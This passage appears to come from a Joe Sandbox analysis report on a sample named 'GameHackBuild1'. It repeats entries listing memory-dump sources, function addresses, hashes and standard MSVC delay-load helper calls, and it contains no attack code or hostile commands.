Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e7c21bf64cc90b0b8244626c2dd17d8e89993b7cc13099bbc1ef8b67731db4ae
Instruction ID: c2570ee941d0f6387bdda66961d75ad84755b5702ba4b05b712a9b0e4181297f
Opcode Fuzzy Hash: e7c21bf64cc90b0b8244626c2dd17d8e89993b7cc13099bbc1ef8b67731db4ae
Instruction Fuzzy Hash: CCB012B627C2017D714C21146F02EB6023DC1C1B103304F1AB205E004095805CC55431

Function 00A1DC53 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1DC36

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b2ce8a202078e254b0e4131d1ce2ae8a0b46fd1e26a5d8b14678746055e9e69e
Instruction ID: a6a7b4daaf8700e7862ea6bba01b47791c757f9cdc27d72aa92a176d0f955622
Opcode Fuzzy Hash: b2ce8a202078e254b0e4131d1ce2ae8a0b46fd1e26a5d8b14678746055e9e69e
Instruction Fuzzy Hash: 0DB012B627C1017C714C61186E02FB6023CC0C6B103308E1AB609D0080D5805C854531

Function 00A1DC5D Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1DC36

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 15fb63477872804a03d740686ca43b7fb0d593d832854b330e03d9ddda70e7f3
Instruction ID: 6f3118522208ead7561953dedd5b672129f1d28cd580ceaa1b892848ee835574
Opcode Fuzzy Hash: 15fb63477872804a03d740686ca43b7fb0d593d832854b330e03d9ddda70e7f3
Instruction Fuzzy Hash: C6B012B627C2017C714C61186E02FB6023CD0C1B103304E1BB209D0040D5805C854531

Function 00A1D8D9 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1D8A3

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3f9a3c633e105ea2b13f4bf95974819bc579c793027e04aabee53e3d8b0e26e1
Instruction ID: 382bf7dff3a681c6c80096f0c31107bdebc7a4bcd408a214e1af25703a0194d4
Opcode Fuzzy Hash: 3f9a3c633e105ea2b13f4bf95974819bc579c793027e04aabee53e3d8b0e26e1
Instruction Fuzzy Hash: AFA001A66BD502BC710C6251AE56DBA022ED9C6BA17708D1AB54BA40C1A990698A5831

Function 00A1D983 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1D8A3

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b2ae2355afd2b2fce17ede3f58cae2b1bf4040455bf9c51bb71c9139322a54b2
Instruction ID: 382bf7dff3a681c6c80096f0c31107bdebc7a4bcd408a214e1af25703a0194d4
Opcode Fuzzy Hash: b2ae2355afd2b2fce17ede3f58cae2b1bf4040455bf9c51bb71c9139322a54b2
Instruction Fuzzy Hash: AFA001A66BD502BC710C6251AE56DBA022ED9C6BA17708D1AB54BA40C1A990698A5831

Function 00A1D98D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1D8A3

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 91e89f141033e5652a8acddb27ebc24d17e5a1c8f9a5323488b18ff26e4f0882
Instruction ID: 382bf7dff3a681c6c80096f0c31107bdebc7a4bcd408a214e1af25703a0194d4
Opcode Fuzzy Hash: 91e89f141033e5652a8acddb27ebc24d17e5a1c8f9a5323488b18ff26e4f0882
Instruction Fuzzy Hash: AFA001A66BD502BC710C6251AE56DBA022ED9C6BA17708D1AB54BA40C1A990698A5831

Function 00A1D997 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1D8A3

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e60613db6c6d6fdc4158fdb3b8265a77957b1e89671568d8d2a5b5addc0e7cde
Instruction ID: 382bf7dff3a681c6c80096f0c31107bdebc7a4bcd408a214e1af25703a0194d4
Opcode Fuzzy Hash: e60613db6c6d6fdc4158fdb3b8265a77957b1e89671568d8d2a5b5addc0e7cde
Instruction Fuzzy Hash: AFA001A66BD502BC710C6251AE56DBA022ED9C6BA17708D1AB54BA40C1A990698A5831

Function 00A1D93D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1D8A3

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c7e14d571e3ff4cd598ad5b71d014c0fd4a29e742cedfb41a11e03bbec97c71a
Instruction ID: 382bf7dff3a681c6c80096f0c31107bdebc7a4bcd408a214e1af25703a0194d4
Opcode Fuzzy Hash: c7e14d571e3ff4cd598ad5b71d014c0fd4a29e742cedfb41a11e03bbec97c71a
Instruction Fuzzy Hash: AFA001A66BD502BC710C6251AE56DBA022ED9C6BA17708D1AB54BA40C1A990698A5831

Function 00A1D91F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1D8A3

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 2cf8a4c6f5ed938cc87f965f8e69e906362affc26e7fad1f5390c94324fb9b92
Instruction ID: 382bf7dff3a681c6c80096f0c31107bdebc7a4bcd408a214e1af25703a0194d4
Opcode Fuzzy Hash: 2cf8a4c6f5ed938cc87f965f8e69e906362affc26e7fad1f5390c94324fb9b92
Instruction Fuzzy Hash: AFA001A66BD502BC710C6251AE56DBA022ED9C6BA17708D1AB54BA40C1A990698A5831

Function 00A1D965 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1D8A3

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ef32fc89b1e7c52bb249d65b4baf25757c053452e9369a65732dfc58d3198423
Instruction ID: 382bf7dff3a681c6c80096f0c31107bdebc7a4bcd408a214e1af25703a0194d4
Opcode Fuzzy Hash: ef32fc89b1e7c52bb249d65b4baf25757c053452e9369a65732dfc58d3198423
Instruction Fuzzy Hash: AFA001A66BD502BC710C6251AE56DBA022ED9C6BA17708D1AB54BA40C1A990698A5831

Function 00A1D96F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1D8A3

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6a18f4ebb28102f1e5f42248e146a5f4c6f453105fd69cdad288e06830b0691e
Instruction ID: 382bf7dff3a681c6c80096f0c31107bdebc7a4bcd408a214e1af25703a0194d4
Opcode Fuzzy Hash: 6a18f4ebb28102f1e5f42248e146a5f4c6f453105fd69cdad288e06830b0691e
Instruction Fuzzy Hash: AFA001A66BD502BC710C6251AE56DBA022ED9C6BA17708D1AB54BA40C1A990698A5831

Function 00A1D951 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1D8A3

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a41b6670e28c6f98f2768bf18830961f65673ad6d5532bad9cf94a0e7abb8105
Instruction ID: 382bf7dff3a681c6c80096f0c31107bdebc7a4bcd408a214e1af25703a0194d4
Opcode Fuzzy Hash: a41b6670e28c6f98f2768bf18830961f65673ad6d5532bad9cf94a0e7abb8105
Instruction Fuzzy Hash: AFA001A66BD502BC710C6251AE56DBA022ED9C6BA17708D1AB54BA40C1A990698A5831

Function 00A1D95B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1D8A3

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8ed88764a7271fb3bd1f8b3206afceaf3a0aec6b08624ceb4f081050e543e894
Instruction ID: 382bf7dff3a681c6c80096f0c31107bdebc7a4bcd408a214e1af25703a0194d4
Opcode Fuzzy Hash: 8ed88764a7271fb3bd1f8b3206afceaf3a0aec6b08624ceb4f081050e543e894
Instruction Fuzzy Hash: AFA001A66BD502BC710C6251AE56DBA022ED9C6BA17708D1AB54BA40C1A990698A5831

Function 00A1DAA5 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1DAB2

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8fb9c4f045a98b345d333e4a6b03a9efea09460bb1652f7651bb3c36068fe9e6
Instruction ID: 8f7e898b3a415174ec30bbd2154c361e54fde401779f2080b8694af8fae788ca
Opcode Fuzzy Hash: 8fb9c4f045a98b345d333e4a6b03a9efea09460bb1652f7651bb3c36068fe9e6
Instruction Fuzzy Hash: 1BA002A527D5017C7148B151AE16D7B025DD4D1B51734491AB50694045555459855431

Function 00A1DAE8 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1DAB2

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f75fa285935c693045187447f2a6f123740467984baafc49966c4f88e7d12d73
Instruction ID: 8d6167476a1d5a39d9ee78aa28ec44e94439a26bac86ea28140546c7f4620826
Opcode Fuzzy Hash: f75fa285935c693045187447f2a6f123740467984baafc49966c4f88e7d12d73
Instruction Fuzzy Hash: 52A001A62BD102BC7108B252AE26DBB026DD8C5BA17348E1AB50A98089A994598A5831

Function 00A1DAF2 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1DAB2

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 788e6912ee4d0941044e676f6d188450aafd55dc489271f8ae1550ffe9db893b
Instruction ID: 8d6167476a1d5a39d9ee78aa28ec44e94439a26bac86ea28140546c7f4620826
Opcode Fuzzy Hash: 788e6912ee4d0941044e676f6d188450aafd55dc489271f8ae1550ffe9db893b
Instruction Fuzzy Hash: 52A001A62BD102BC7108B252AE26DBB026DD8C5BA17348E1AB50A98089A994598A5831

Function 00A1DAFC Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1DAB2

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 2a1fa674a91dec0e90ab77e960eb6c88f086224da595ada29479323f03532090
Instruction ID: 8d6167476a1d5a39d9ee78aa28ec44e94439a26bac86ea28140546c7f4620826
